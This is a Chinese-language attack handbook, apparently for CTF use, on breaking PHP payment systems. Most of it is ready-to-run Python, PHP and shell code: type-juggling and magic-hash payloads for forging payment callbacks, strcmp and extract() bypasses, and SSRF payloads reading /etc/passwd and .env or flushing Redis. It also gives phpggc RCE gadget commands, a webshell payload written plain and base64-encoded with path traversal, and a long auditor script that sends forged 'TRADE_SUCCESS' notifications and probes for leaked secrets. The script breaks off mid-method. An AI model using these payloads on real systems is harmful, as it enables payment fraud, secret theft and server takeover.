Skip to content

PHP Payment Attacks — PHP 支付专项攻击手册 ​

PHP 是全球支付类 Web 应用最广泛的后端语言,也是 CTF 支付题的绝对主力。其独特的类型系统、框架生态、历史遗留问题构成了丰富的攻击面。

0. PHP 支付攻击面全景 ​

PHP 支付应用栈:
┌────────────────────────────────────────────┐
│  前端: Vue/React/jQuery + Blade/Twig       │
├────────────────────────────────────────────┤
│  框架: Laravel / Symfony / ThinkPHP / Yii  │
│  支付: Cashier / Omnipay / Yansongda       │
│  ORM:  Eloquent / Doctrine                 │
├────────────────────────────────────────────┤
│  PHP 运行时: 7.x / 8.x                     │
│  Web Server: Nginx/Apache + php-fpm        │
├────────────────────────────────────────────┤
│  数据库: MySQL / PostgreSQL / Redis        │
└────────────────────────────────────────────┘

PHP 独特攻击面:
  ▪ Type Juggling (== vs ===)
  ▪ Loose Function Returns (strcmp/md5/sha1 对数组返回 null)
  ▪ PHAR Deserialization
  ▪ Stream Wrapper (php://input)
  ▪ parse_url / parse_str 解析差异
  ▪ Session 机制
  ▪ extract() / $$ 变量覆盖
  ▪ 框架 Mass Assignment
  ▪ Composer 依赖链

1. PHP Type Juggling — 支付绕过核心 ​

1.1 == 比较全矩阵 ​

php
<?php
// PHP 的 == 比较是最致命的支付漏洞来源
// 以下是支付场景中的实际利用

// === 0 == "任意非数字字符串" ===
var_dump(0 == "paid");        // bool(true)  ← 订单状态检查绕过
var_dump(0 == "success");     // bool(true)
var_dump(0 == "admin");       // bool(true)
var_dump(0 == "any_string");  // bool(true)

// === "0e..." Magic Hashes ===
// 任何以 "0e" 开头后跟纯数字的字符串都被当作 0eX = 0 × 10^X = 0
var_dump("0e462097431907509062922748828256" == "0e848240448830537924465865611904"); // true
var_dump("0e123456" == "0e789012");  // true
var_dump("0e0" == "0e999");          // true

// === null == 0 == "" == false ===
var_dump(null == 0);     // true
var_dump(null == "");    // true
var_dump(null == false); // true
var_dump(0 == false);    // true
var_dump("" == false);   // true
var_dump("0" == false);  // true

// === 数组比较 ===
var_dump(array() == false);  // true (PHP 5.x)
var_dump(array() == 0);      // true (PHP < 8.0)
var_dump(array() == null);   // true
// → 传 amount[]=0 可能绕过非空检查但值为 0

1.2 支付场景实战 ​

python
# php_type_juggling_payment.py
import requests

BASE = "https://target"
S = requests.Session()

# ============ 场景 1: 金额比较绕过 ============
# 后端代码: if ($order->amount == $callback->amount)
# 如果 $order->amount = 100, $callback->amount = "100abc"
# → "100abc" == 100 → true!
AMOUNT_JUGGLE = [
    0, 0.0, "0", "0.00", "0.0",
    "0abc",           # 0 == "0abc" → true
    "0e1",            # 0e1 = 0
    "0x0",            # hex 0
    "0b0",            # bin 0
    "0000",           # octal? → 0
    None,             # null == 0 → true
    False,            # false == 0 → true
    "",               # "" == 0 → true (PHP < 8.0)
    [],               # [] == 0 → true (PHP < 8.0)
    [0],              # [0] == 0 → false but 绕过 empty($amount)
]

for amount in AMOUNT_JUGGLE:
    r = S.post(BASE + "/api/payment/notify", json={
        "order_id": "TARGET_ORDER",
        "amount": amount,
        "trade_status": "TRADE_SUCCESS",
    })
    if r.status_code == 200 and "fail" not in r.text.lower():
        print(f"[!] AMOUNT JUGGLE: {repr(amount)} → 200 OK")

# ============ 场景 2: 签名 Magic Hash 绕过 ============
# 后端: if ($_POST['sign'] == $calculated_sign)
# 如果 $calculated_sign 恰好以 "0e" 开头+全数字 → 永远 true
# 以下真实 MD5 值在 == 比较下相等:
MAGIC_HASHES_FULL = {
    # MD5 magic hashes (来自真实碰撞研究)
    "240610708":   "0e462097431907509062922748828256",
    "QNKCDZO":     "0e830400451993494058024219903391",
    "aabg7XSs":    "0e087386482136013740957780965295",
    "aabC9RqS":    "0e041022518165728065344349536299",
    "s878926199a": "0e545993274517709034328855841020",
    "s155964671a": "0e342768416822451524974117254469",
    "s214587387a": "0e848240448830537924465865611904",
    "s1091221200a":"0e940624217856561557816327384675",
    # SHA1 magic hashes
    "aaroZmOk":    "0e66507019969427134894567494305185566735",
    "aaK1STfY":    "0e76658526655756207688271159624026011393",
    "aaO8zKZF":    "0e89257456677279068558073954252716165668",
}

# 攻击: 任意 sign 用 magic hash
for label, magic in MAGIC_HASHES_FULL.items():
    r = S.post(BASE + "/notify", data={
        "out_trade_no": "ORDER_ID",
        "trade_status": "TRADE_SUCCESS",
        "total_amount": "0.01",
        "sign": magic,
    })
    if r.status_code == 200:
        print(f"[!] Magic Hash: {label} → {magic[:20]}... → OK")
        break  # 任意一个命中即可

# ============ 场景 3: in_array() 越权 ============
# 后端: if (in_array($user->role, ['paid_user', 'admin']))
# 如果 $user->role 被强制为 int(0):
# → in_array(0, ['paid_user', 'admin']) → true!
ROLE_JUGGLE = [0, 0.0, False, null, "", "0"]
for role in ROLE_JUGGLE:
    r = S.post(BASE + "/api/payment/verify", json={
        "order_id": "TARGET", "role": role
    })
    if r.status_code == 200:
        print(f"[!] in_array bypass: role={repr(role)}")

# ============ 场景 4: switch/case ===
# PHP switch 使用 == 比较:
# switch ($status) {
#     case "paid": deliver(); break;
# }
# switch(0) 或 switch("0abc") 都可能匹配 case "paid"

1.3 PHP 8.x 变化与绕过 ​

python
# PHP 8.0 修复了一些 type juggling:
# - string-to-number comparison 仍然存在
# - "abc" == 0 现在为 false (终于修了!)
# - 但 "123abc" == 123 仍然为 true!
#
# PHP 8.1+ 新绕过思路:
# - Enum 比较: enum 实例可以与 string 比较?
# - Fibers: 异步竞态
# - readonly 属性: 不可变但可以 unserialize 绕过

PHP8_JUGGLE = {
    # PHP 8.0+ 仍然有效的绕过
    "still_works": [
        ("0" == false),      # true
        ("0.0" == 0),        # true
        ("0e123" == "0e456"),# true
        ([] == false),       # true
        (null == 0),         # true
    ],
    # PHP 8.0 新特性攻击面
    "new_attack_surface": [
        "match() 表达式 (严格比较,比 switch 安全)",
        "named arguments → 参数注入?",
        "constructor promotion → 自动属性赋值",
        "nullsafe operator → ?-> 可能掩盖 null 错误",
    ]
}

2. PHP 函数级攻击 ​

2.1 支付相关危险函数 ​

python
# =========== strcmp / strcasecmp 数组绕过 ===========
# strcmp([], "any_string") → NULL
# NULL == 0 → true
# 攻击: 传 sign[]=anything 绕过 strcmp
def strcmp_bypass():
    """strcmp 数组参数绕过"""
    # POST sign[]=anything
    # PHP: strcmp($_POST['sign'], $correct_sign) → NULL
    # if (strcmp($sign, $correct) == 0) → NULL == 0 → true ✓

    # GET 方式: sign[]=x
    r = S.get(BASE + "/pay/return", params={
        "order_id": "ORDER",
        "sign[]": "anything",  # ← 数组参数
        "status": "success",
    })
    # POST 方式
    r = S.post(BASE + "/notify", data="sign[]=anything&order_id=X&status=success",
               headers={"Content-Type": "application/x-www-form-urlencoded"})

# =========== sha1 / md5 数组绕过 ===========
# sha1([]) → NULL, md5([]) → NULL
# 如果签名是 sha1($data) 且 $data 是数组:
def hash_array_bypass():
    # POST body: data[]=xxx
    # PHP: sha1($_POST['data']) → NULL
    # if (sha1($_POST) == $expected_hash) → NULL == "abc123" → false
    # 但如果是 !== 或 === → 绕过!

    # 两个数组: sha1([]) === sha1([]) → NULL === NULL → true!
    r = S.post(BASE + "/api/verify", data={
        "data1[]": "x",
        "data2[]": "y",
    })

# =========== extract() 变量覆盖 ===========
# extract($_POST) 是经典的 PHP 后门级漏洞
# POST: status=paid&amount=0
# → $status = "paid", $amount = 0 直接覆盖
def extract_bypass():
    # 如果支付回调处理用了 extract():
    # extract($_POST);
    # if ($trade_status == "TRADE_SUCCESS") { ... }
    # → POST trade_status=TRADE_SUCCESS → 直接覆盖

    EXTRACT_PAYLOADS = [
        {"trade_status": "TRADE_SUCCESS", "total_amount": "0.01"},
        {"status": "paid", "amount": 0},
        {"is_paid": True, "paid_at": "now"},
        {"admin": True, "verified": True},
        # 覆盖上游变量
        {"_POST": {"trade_status": "TRADE_SUCCESS"}},
        {"GLOBALS": {"is_admin": True}},  # register_globals 遗毒
    ]

# =========== parse_str() 覆盖 ===========
# parse_str("key=value", $output) → $output['key'] = 'value'
# parse_str("key=value") → $key = 'value' (无第二参数时直接创建变量!)
# 无第二参数的 parse_str() = extract() 等价

2.2 parse_url / filter_var 绕过 ​

python
# PHP parse_url() 解析怪癖:
def php_parse_url_bypass():
    """利用 PHP URL 解析差异"""

    # parse_url("http://evil.com#@legit.com") → host = "evil.com"
    # 但 curl 可能连接到 legit.com

    # parse_url("http://evil.com\@legit.com") → host = "evil.com"
    # PHP bug: backslash 在某些版本被当作分隔符

    # filter_var($url, FILTER_VALIDATE_URL) 绕过:
    FILTER_VAR_BYPASS = [
        "http://evil.com?@legit.com/path",       # ? 被当作 credentials
        "http://evil.com#@legit.com/path",        # fragment 混淆
        "http://evil.com\\@legit.com/path",       # backslash
        "http://evil.com:80@legit.com/path",      # evil.com:80@legit → auth
        "0://evil.com:80;legit.com:80/path",      # multi-host (PHP bug)
        "javascript://legit.com%0aalert(1)",      # JS protocol
    ]

    for url in FILTER_VAR_BYPASS:
        r = S.post(BASE + "/api/order/create", json={
            "notify_url": url,
        })
        print(f"notify_url={url:50s} → {r.status_code}")

# =========== PHP SSRF 特有 ===========
# PHP stream wrappers:
PHP_SSRF_PAYLOADS = [
    "file:///etc/passwd",
    "php://filter/convert.base64-encode/resource=/var/www/html/config.php",
    "php://filter/convert.base64-encode/resource=/var/www/html/.env",
    "gopher://127.0.0.1:3306/_",           # MySQL
    "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a",  # Redis
    "dict://127.0.0.1:6379/info",           # Redis info
]

3. Laravel 支付系统攻击 ​

3.1 Laravel Cashier (Stripe) 攻击 ​

python
# Laravel Cashier 是全球最流行的 PHP 支付包
# 核心攻击面:

def laravel_cashier_attacks():
    """Laravel Cashier 攻击矩阵"""
    attacks = {
        # ===== 1. Webhook 控制器 =====
        "webhook_controller": {
            "path": "/stripe/webhook",
            "default_route": "Route::post('stripe/webhook', 'WebhookController@handleWebhook')",
            "bypass": "Cashier 默认不验证 CSRF (VerifyCsrfToken middleware except)",
            "attack": "伪造 webhook → 可能不需要签名验证?",
            "check": "Cashier::webhook() 中间件是否存在"
        },

        # ===== 2. 订阅中间件 =====
        "subscription_middleware": {
            "code": "if ($request->user() && !$request->user()->subscribed()) { abort(403); }",
            "bypass": "如果 subscribed() 检查可以被操纵: is_subscribed=true in user table",
        },

        # ===== 3. Mass Assignment (Eloquent) =====
        "mass_assignment": {
            "code": '$user->update($request->all());',
            "exploit": 'POST /api/user/update → {"is_admin":true, "stripe_id":"cus_OTHER"}',
            "risk": "绑定他人的 stripe_id → 用他人信用卡"
        },

        # ===== 4. Billable trait =====
        "billable_trait": {
            "methods": [
                "charge(amount, method)",      # 直接扣款
                "invoice()",                   # 生成发票
                "refund(charge_id)",           # 退款
                "subscription('plan')",        # 创建订阅
                "swap('plan')",               # 切换计划
            ],
            "IDOR": "User A 调用 charge() 扣 User B 的钱 → stripe_id 被替换"
        },

        # ===== 5. Laravel 调试模式 =====
        "debug_mode": {
            "path": "/_ignition/health-check",
            "exploit": "APP_DEBUG=true → Ignition RCE (CVE-2021-3129)",
            "payment_impact": "通过 RCE 读 .env → STRIPE_KEY/STRIPE_SECRET → 构造合法回调"
        },
    }

3.2 Laravel 路由与中间件 ​

python
# Laravel 支付路由探测
LARAVEL_PAYMENT_ROUTES = [
    # Cashier 标准路由
    "/stripe/webhook",
    "/stripe/portal",
    "/stripe/success",
    "/stripe/cancel",

    # Billing Portal
    "/billing",
    "/billing/portal",
    "/user/invoices",
    "/user/subscriptions",

    # API 路由
    "/api/checkout",
    "/api/payment-intent",
    "/api/setup-intent",
    "/api/payment-method",
    "/api/subscription",
    "/api/invoices/{id}/download",

    # Laravel Paddle
    "/paddle/webhook",
    "/paddle/prices",
    "/paddle/transaction",

    # Debug
    "/_debugbar/open",
    "/telescope",
    "/horizon",
    "/log-viewer",
]

3.3 Laravel 支付事件/监听器 ​

php
<?php
// Laravel Cashier 事件系统:
// Event → Listener 链中的攻击面

// Event 列表:
// Laravel\Cashier\Events\WebhookReceived
// Laravel\Cashier\Events\WebhookHandled
// Laravel\Cashier\Events\SubscriptionCreated
// Laravel\Cashier\Events\SubscriptionUpdated
// Laravel\Cashier\Events\SubscriptionCancelled

// 攻击: 如果 Event Listener 可以被触发而不验证 Event 来源:
// → 直接 dispatch('Laravel\Cashier\Events\WebhookHandled', [$fakePayload])
// → 触发发货逻辑

// Laravel Queue Worker 攻击:
// 支付回调 → Job → Queue (Redis/DB) → Worker 处理
// 如果 Queue 使用 database driver:
// → SQL Injection → 直接插入 Job → Worker 执行

4. PHP 反序列化 — 支付对象注入 ​

4.1 支付对象 Gadget Chain ​

php
<?php
// PHP 反序列化在支付场景中的利用:
// 场景 1: 购物车存储在 cookie/session 中 (序列化)
// 场景 2: 订单对象缓存 (Redis serialize)
// 场景 3: 支付回调携带序列化数据

// ===== 典型漏洞代码 =====
// $cart = unserialize($_COOKIE['cart']);
// $order = unserialize(base64_decode($_GET['data']));

// ===== 支付对象 Gadget =====
class Cart {
    public $items = [];
    public $total = 0;
    public $discount = 0;
    public $coupon_code = '';

    // Gadget 利用点:
    // 1. __destruct() → 写文件/数据库 → 覆盖订单状态
    // 2. __wakeup() → 连接其他服务 → SSRF
    // 3. __toString() → 如果 Cart 被 echo → 触发
    // 4. __call() → 如果调用了不存在的方法
}

class PaymentCallback {
    public $order_id;
    public $status;
    public $callback_url;

    // __destruct() 中发 HTTP 请求 → SSRF
    public function __destruct() {
        file_get_contents($this->callback_url . '?order=' . $this->order_id);
    }
}

// PHAR 反序列化 (最隐蔽):
// file_exists('phar://malicious.phar') → 触发反序列化
// is_dir('phar://...') → 触发
// 利用点: 如果支付系统会检查上传文件的 MIME 或大小:
// → finfo_file(), filesize(), file_exists() 等都可以触发 PHAR

4.2 常见 PHP 支付包的 Gadget ​

python
# PHP 支付相关包的已知和推测 Gadget:
PHP_PAYMENT_GADGETS = {
    # Omnipay (最流行的 PHP 支付网关抽象)
    "omnipay": {
        "classes": [
            "Omnipay\\Common\\Message\\AbstractRequest",
            "Omnipay\\Common\\Message\\AbstractResponse",
            "Omnipay\\Common\\ItemBag",
        ],
        "gadget_possible": "AbstractResponse → __destruct → trigger HTTP to gateway → SSRF"
    },

    # Yansongda (支付宝/微信 Laravel 包)
    "yansongda": {
        "classes": [
            "Yansongda\\Pay\\Pay",
            "Yansongda\\Pay\\Gateways\\Alipay",
            "Yansongda\\Supports\\Config",
        ],
    },

    # Laravel Cashier
    "cashier": {
        "classes": [
            "Laravel\\Cashier\\Subscription",
            "Laravel\\Cashier\\Invoice",
            "Laravel\\Cashier\\Payment",
        ],
    },

    # Guzzle (底层 HTTP 客户端)
    "guzzle": {
        "gadget": "GuzzleHttp\\Cookie\\SetCookie → __toString → file_get_contents → SSRF/RCE",
        "CVE": "CVE-2022-... (pending analysis)",
    },

    # Monolog (日志, 几乎所有 PHP 项目都用)
    "monolog": {
        "gadget": "Monolog\\Handler\\... → __destruct → 写文件 → webshell",
        "exploit": "phpggc Monolog/RCE1 system id",
    },
}

4.3 phpggc 实战 ​

bash
# phpggc — PHP Generic Gadget Chains
# 如果支付系统使用了以下任何一个包,就可以生成 gadget:

# 列出所有可用的 gadget
phpggc -l

# 常见组合:
phpggc Laravel/RCE1 system id                     # Laravel
phpggc Monolog/RCE1 system id                    # Monolog
phpggc Guzzle/RCE1 system id                     # Guzzle
phpggc SwiftMailer/FW1 system id                 # SwiftMailer
phpggg Symfony/RCE1 system id                    # Symfony
phpggc Doctrine/RCE1 system id                   # Doctrine

# 支付场景利用:
# 1. 购物车 Cookie: phpggc -b Laravel/RCE1 system 'cat /flag' | base64
# 2. 订单序列化字段: POST order_data=<phpggc output>
# 3. PHAR 上传: phpggc -p phar Laravel/RCE1 system id > evil.gif
#    → 上传 evil.gif → 触发 file_exists("phar://evil.gif")

5. PHP Session 攻击 ​

5.1 Session 支付状态劫持 ​

python
# PHP session 存储支付状态是常见反模式:
# $_SESSION['order_status'] = 'pending';
# $_SESSION['cart'] = serialize($cart);

def php_session_attacks():
    """PHP Session 支付攻击"""
    attacks = {
        # ===== Session ID 固定 =====
        "session_fixation": {
            "flow": "获取自己的 PHPSESSID → "
                    "诱导受害者使用同一 PHPSESSID → "
                    "受害者支付 → 订单关联到攻击者 session → 发货给攻击者",
            "url": "https://target/pay?PHPSESSID=attacker_session_id",
        },

        # ===== Session 反序列化 =====
        "session_deserialize": {
            "attack": "如果 session.serialize_handler = php_serialize 但 PHP 期望 php:",
            "inject": '|'.join([
                'O:4:"Cart":2:{s:5:"items";a:0:{}s:5:"total";i:0;}',
                # 注入恶意序列化数据到 session 文件
            ]),
        },

        # ===== Session 文件包含 =====
        "session_lfi": {
            "flow": "PHPSESSID 可控制 → session 文件路径已知 "
                    "(/tmp/sess_XXXX) → LFI → 包含 session 文件 → RCE",
        },

        # ===== 跨应用 Session 共享 =====
        "cross_app_session": {
            "flow": "同一域名下多个应用: /app1 和 /app2 "
                    "如果 session 共享 → app1 的支付状态被 app2 读取",
        },
    }

5.2 Session Handler 攻击 ​

php
<?php
// Redis Session Handler:
// session.save_handler = redis
// session.save_path = "tcp://127.0.0.1:6379"
// 如果 Redis 未设密码 → 直接写 session

// 攻击:
// redis-cli SET "PHPREDIS_SESSION:attacker_session" "paid|s:4:\"paid\";"
// → 修改自己的 session 数据 → 订单变 paid

// 数据库 Session Handler:
// 如果 SQLi 可用:
// UPDATE sessions SET data='order_status|s:4:"paid";' WHERE session_id='attacker_session';

6. PHP 特定框架支付攻击 ​

6.1 ThinkPHP 支付 ​

python
# ThinkPHP 是国内使用量极高的框架
THINKPHP_PAYMENT_ATTACKS = {
    # ThinkPHP 路由
    "routes": [
        "/index.php?s=index/think/pay",
        "/index.php?s=order/callback",
        "/index.php?s=payment/notify",
    ],

    # ThinkPHP 特有的参数绑定
    "param_binding": {
        "exploit": "ThinkPHP 自动将 URL 参数绑定到方法参数",
        "attack": "?amount=0&status=paid → 自动注入到控制器方法",
    },

    # ThinkPHP 模板
    "template": "ThinkPHP 的 think-template 可能有渲染差异",
}

# ===== ThinkPHP 支付模块常见漏洞 =====
def thinkphp_audit():
    # 1. 看看有没有 app/pay 或 app/payment 模块
    paths = [
        "/index.php?s=pay",
        "/index.php?s=payment",
        "/index.php?s=order",
        "/index.php?s=api/pay",
        "/index.php?s=api/notify",
        "/index.php?s=api/callback",
    ]
    # 2. TP 调试模式
    # ?s=index/think/app→ debug mode info leak
    # 3. TP 日志
    # /runtime/log/202401/01.log

6.2 WordPress + WooCommerce ​

python
# WordPress 支付插件 (WooCommerce, Easy Digital Downloads, MemberPress)
WP_PAYMENT_ATTACKS = {
    "woocommerce": {
        "webhook": "/wp-json/wc/v3/webhooks",
        "order_api": "/wp-json/wc/v3/orders",
        "callback": "/wc-api/WC_Gateway_Paypal/",
        "ajax": "/wp-admin/admin-ajax.php?action=woocommerce_*",
        "rest_api": "/wp-json/wc/v3/",
        "common_plugins": [
            "woocommerce-gateway-stripe",
            "woocommerce-gateway-paypal",
            "woocommerce-subscriptions",
            "woocommerce-memberships",
        ],
        "nopriv_bypass": "某些 AJAX action 注册了 wp_ajax_nopriv_* → 未登录可调",
        "nonce_reuse": "WooCommerce nonce 有效期 24h → 可 CSRF"
    },

    "edd": {  # Easy Digital Downloads
        "callback": "/?edd-listener=IPN",
        "return": "/?edd_action=verify_purchase",
        "api": "/edd-api/v2/",
        "file_download": "/?edd_action=file_download&file=KEY&token=TOKEN",
    },

    "memberpress": {
        "webhook": "/wp-json/mp/v1/webhooks",
        "callback": "/?mepr-ipn=paypal",
    },
}

6.3 Magento / Adobe Commerce ​

python
MAGENTO_PAYMENT_ATTACKS = {
    "graphql": "/graphql",  # Magento 2.3+ 有 GraphQL
    "rest": "/rest/V1/",
    "soap": "/soap/default?wsdl",
    "paypal_ipn": "/paypal/ipn/",
    "admin": "/admin/",  # 默认随机后缀

    "graphql_mutations": """
    mutation {
      createEmptyCart
      addSimpleProductsToCart(input: {
        cart_id: "CART_ID"
        cart_items: [{ sku: "PREMIUM_SKU", quantity: 1 }]
      })
      setPaymentMethodOnCart(input: {
        cart_id: "CART_ID"
        payment_method: { code: "free" }    # ← 免费支付方式
      })
      placeOrder(input: { cart_id: "CART_ID" })
    }
    """,
}

7. PHP 浮点数 / 精度支付漏洞 ​

7.1 PHP float vs bcmath ​

php
<?php
// PHP 金融计算的经典陷阱:

// === 永远不要用 float 算钱 ===
$total = 0.1 + 0.2;           // 0.30000000000000004
var_dump($total == 0.3);      // false!

// 支付系统中的实际后果:
$amount = 69.99;
$paid = 69.99;
var_dump($amount == $paid);   // 可能 false!
// → 订单永远不会被标记为 paid

// === bcmath / MoneyPHP ===
// 正规做法:
$amount = bcmul("69.99", "1", 2);   // "69.99"
$paid = "69.99";
var_dump($amount === $paid);  // true

// 但如果有人用了 float:
$user_input = 0.000000001;
$amount = (float) $user_input;
// → 可能 < 0.01 但被视为有效支付

// === number_format() 陷阱 ===
echo number_format(0.005, 2);  // "0.01" or "0.00"?
// PHP 的 number_format 使用 round half up → "0.01"
// 但数据库的 ROUND(0.005, 2) → 因数据库而异

7.2 PHP intval 绕过 ​

python
# PHP intval() 在支付中的应用:
# intval("0x64") → 0 (不转换十六进制!)
# intval("0123") → 0 (PHP 7+, 不再识别八进制)
# intval("abc") → 0
# intval("1e5") → 1 (只取第一个数字!)

def php_intval_attacks():
    """PHP intval/floatval 绕过"""
    payloads = [
        # intval() → 0
        "0e123",        # intval → 0 (科学计数)
        "abc",          # intval → 0
        "0x64",         # intval → 0
        "NULL",         # intval → 0
        "",             # intval → 0

        # floatval() → 0.0
        "NaN",
        "Infinity",
        "abc",
        "",

        # is_numeric() 绕过
        # is_numeric("0x64") → false (PHP 7.4+)
        # is_numeric("+0123.45e6") → true (接受科学计数!)
        "+0.0",         # is_numeric → true
        "0e0",          # is_numeric → true, (int) → 0
        "0e12345",      # is_numeric → true, (int) → 0 ← 支付金额被当成 0
    ]

8. PHP 文件操作在支付中的利用 ​

8.1 支付日志/凭证文件 ​

php
<?php
// 常见漏洞: 支付回调写入文件
// file_put_contents("/tmp/payments.log", json_encode($_POST) . "\n", FILE_APPEND);
// file_put_contents("/var/www/uploads/" . $order_id . "_proof.png", $file_content);

// 攻击:
// 1. order_id = "../../../var/www/html/evil.php"
// → 写入 webshell: /var/www/html/evil.php_proof.png → 不可执行 → 但可以写 .php
// 2. 写入日志 → 包含日志文件 → RCE
// 3. 写入 .htaccess → 覆盖 Apache 配置

def php_file_attacks_in_payment():
    attacks = [
        {
            "name": "Path Traversal in order_id",
            "payload": {"order_id": "../../../public/evil", "file_content": "<?php system($_GET['c']);?>"}
        },
        {
            "name": "Null byte 截断 (PHP < 5.3)",
            "payload": {"order_id": "evil.php%00.png"}
        },
        {
            "name": "PHP wrapper 写文件",
            "payload": {"order_id": "php://filter/write=convert.base64-decode/resource=evil.php",
                        "file_content": "PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+"}
        },
        {
            "name": "竞争条件: 上传+执行",
            "flow": "上传 webshell → 在被删除前访问 → RCE"
        },
    ]

8.2 支付配置文件读取 ​

bash
# PHP 支付项目常见的敏感文件:
# /.env → DB_PASSWORD, STRIPE_KEY, STRIPE_SECRET, APP_KEY
# /config/payment.php → 支付配置
# /config/services.php → 第三方服务配置
# /storage/logs/laravel.log → 可能包含支付回调 payload
# /.git/config → 仓库信息
# /composer.json → 依赖版本 (进而查 CVE)
# /vendor/composer/installed.json → 完整依赖列表

9. 综合 PHP 支付攻击路径脚本 ​

python
# php_payment_audit.py — PHP 支付系统全路径执行
import requests, hashlib, time, concurrent.futures
from urllib.parse import urlparse

class PHPPaymentAuditor:
    def __init__(self, base_url):
        self.base = base_url
        self.s = requests.Session()

    def full_audit(self):
        """跑全部 PHP 专项检测"""
        self.check_php_fingerprint()
        self.check_type_juggling()
        self.check_strcmp_md5_sha1()
        self.check_extract_register_globals()
        self.check_session_fixation()
        self.check_laravel_routes()
        self.check_thinkphp_routes()
        self.check_woocommerce()
        self.check_phpinfo_debug()
        self.check_env_leak()
        self.check_phar_upload()
        self.check_magic_hashes()
        self.check_parse_str()
        self.check_xml_callback()

    def check_php_fingerprint(self):
        """PHP 指纹识别"""
        probes = {
            "X-Powered-By": ["PHP/", "php"],
            "Set-Cookie": ["PHPSESSID="],
            "Server": ["Apache/", "nginx"],
        }
        r = self.s.get(self.base + "/")
        for header, patterns in probes.items():
            val = r.headers.get(header, "")
            for p in patterns:
                if p in val:
                    print(f"[PHP] {header}: {val}")

        # 常见 PHP 路径
        php_paths = [
            "/index.php", "/api/index.php", "/admin/index.php",
        ]
        for p in php_paths:
            r = self.s.get(self.base + p, allow_redirects=False)
            if r.status_code == 200:
                print(f"[PHP] Exists: {p}")

    def check_type_juggling(self):
        """PHP Type Juggling 支付绕过"""
        # 金额 0 绕过
        for amount, amount_type in [
            (0, "int"), (0.0, "float"), ("0", "str"),
            ("0.00", "str"), ("0e1", "sci"), ("0abc", "str_num"),
        ]:
            r = self.s.post(self.base + "/api/order/create", json={
                "product_id": 1, "amount": amount
            })
            if r.status_code == 200:
                data = r.json() if r.headers.get("content-type","").startswith("application/json") else {}
                final_amount = data.get("amount", data.get("data", {}).get("amount"))
                print(f"[TypeJuggle] amount={repr(amount):10s} → final_amount={final_amount}")

        # Magic Hash
        for magic in ["0e462097431907509062922748828256", "0e848240448830537924465865611904"]:
            r = self.s.post(self.base + "/notify", data={
                "order_id": "TEST", "trade_status": "TRADE_SUCCESS",
                "total_amount": "100", "sign": magic,
            })
            if r.status_code == 200 and "fail" not in r.text.lower():
                print(f"[TypeJuggle] Magic hash bypass: {magic[:20]}...")

    def check_strcmp_md5_sha1(self):
        """strcmp/md5/sha1 数组绕过"""
        # strcmp 绕过
        r = self.s.get(self.base + "/notify", params={
            "order_id": "TEST", "sign[]": "anything",
            "trade_status": "TRADE_SUCCESS",
        })
        if r.status_code == 200:
            print(f"[strcmp] Array bypass via GET: {r.status_code}")

        # POST 版
        r = self.s.post(self.base + "/notify",
            data="sign[]=a&order_id=TEST&trade_status=TRADE_SUCCESS",
            headers={"Content-Type": "application/x-www-form-urlencoded"})

        # md5/sha1 绕过
        for field in ["data", "sign_data", "payload"]:
            r = self.s.post(self.base + "/notify", json={
                "order_id": "TEST",
                "trade_status": "TRADE_SUCCESS",
                field: ["injected"],   # ← 数组
                "sign": "",
            })
            if r.status_code == 200:
                print(f"[md5/sha1] Array bypass on field={field}")

    def check_extract_register_globals(self):
        """变量覆盖探测"""
        # 尝试覆盖支付状态
        overwrites = [
            {"status": "paid"},
            {"is_paid": True},
            {"paid": "1"},
            {"payment_status": "success"},
            {"trade_status": "TRADE_SUCCESS"},
            {"verified": True},
            {"admin": "1"},
            {"GLOBALS[admin]": "1"},
        ]
        for data in overwrites:
            r = self.s.post(self.base + "/notify", data=data)
            if r.status_code == 200:
                print(f"[Extract] Variable overwrite: {data} → {r.status_code}")

    def check_session_fixation(self):
        """Session 固定"""
        # 如果 URL 中有 PHPSESSID
        for path in ["/pay", "/checkout", "/order"]:
            r = self.s.get(self.base + path, params={
                "PHPSESSID": "ATTACKER_FIXED_SESSION"
            }, allow_redirects=False)
            # 检查重定向后是否带了 session
            loc = r.headers.get("Location", "")
            if "PHPSESSID" in loc or r.cookies.get("PHPSESSID") == "ATTACKER_FIXED_SESSION":
                print(f"[Session] Fixation possible at {path}")

    def check_laravel_routes(self):
        """Laravel 专属路由"""
        for path in [
            "/stripe/webhook", "/stripe/portal",
            "/paddle/webhook",
            "/billing/portal",
            "/_ignition/health-check",    # Ignition debug
            "/telescope/requests",        # Laravel Telescope
            "/horizon/dashboard",         # Laravel Horizon
            "/.env", "/.env.example", "/.env.backup",
        ]:
            r = self.s.get(self.base + path, allow_redirects=False, timeout=5)
            if r.status_code != 404:
                print(f"[Laravel] {path} → {r.status_code}")

    def check_thinkphp_routes(self):
        """ThinkPHP 专属"""
        for path in [
            "/index.php?s=pay",
            "/index.php?s=index/pay",
            "/index.php?s=index/think/app",
            "/index.php?s=admin/Payment/callback",
        ]:
            r = self.s.get(self.base + path, allow_redirects=False)
            if r.status_code != 404:
                print(f"[ThinkPHP] {path} → {r.status_code}")

    def check_woocommerce(self):
        """WooCommerce / WordPress"""
        for path in [
            "/wp-content/plugins/woocommerce/",
            "/wp-json/wc/v3/",
            "/wp-json/wc/v3/orders",
            "/wc-api/WC_Gateway_Paypal/",
            "/wp-admin/admin-ajax.php",
            "/wp-login.php",
            "/wp-json/wp/v2/users",
        ]:
            r = self.s.get(self.base + path, allow_redirects=False, timeout=5)
            if r.status_code != 404:
                print(f"[WP/Woo] {path} → {r.status_code}")

    def check_phpinfo_debug(self):
        """调试信息泄露"""
        for path in [
            "/phpinfo.php", "/info.php", "/php_info.php",
            "/test.php", "/debug.php", "/dev.php",
            "/api/debug", "/api/test",
        ]:
            r = self.s.get(self.base + path, allow_redirects=False)
            if r.status_code == 200 and "phpinfo" in r.text.lower():
                print(f"[!] phpinfo exposed: {path}")
            elif r.status_code == 200:
                print(f"[Debug] {path} → {r.status_code}")

    def check_env_leak(self):
        """环境变量/配置泄露"""
        for path in [
            "/.env", "/env", "/.env.local",
            "/config/.env", "/api/.env",
            "/storage/logs/laravel.log",
            "/storage/logs/laravel-2024-01-01.log",
            "/runtime/log/202401/01.log",
            "/backup/db.sql", "/backup/database.sql",
            "/.git/HEAD", "/.git/config",
            "/composer.json", "/composer.lock",
            "/vendor/composer/installed.json",
        ]:
            r = self.s.get(self.base + path, allow_redirects=False)
            if r.status_code == 200:
                content = r.text[:200]
                print(f"[ENV] {path} → {r.status_code} | {content[:80]}")

    def check_phar_upload(self):
        """PHAR 反序列化上传探测"""
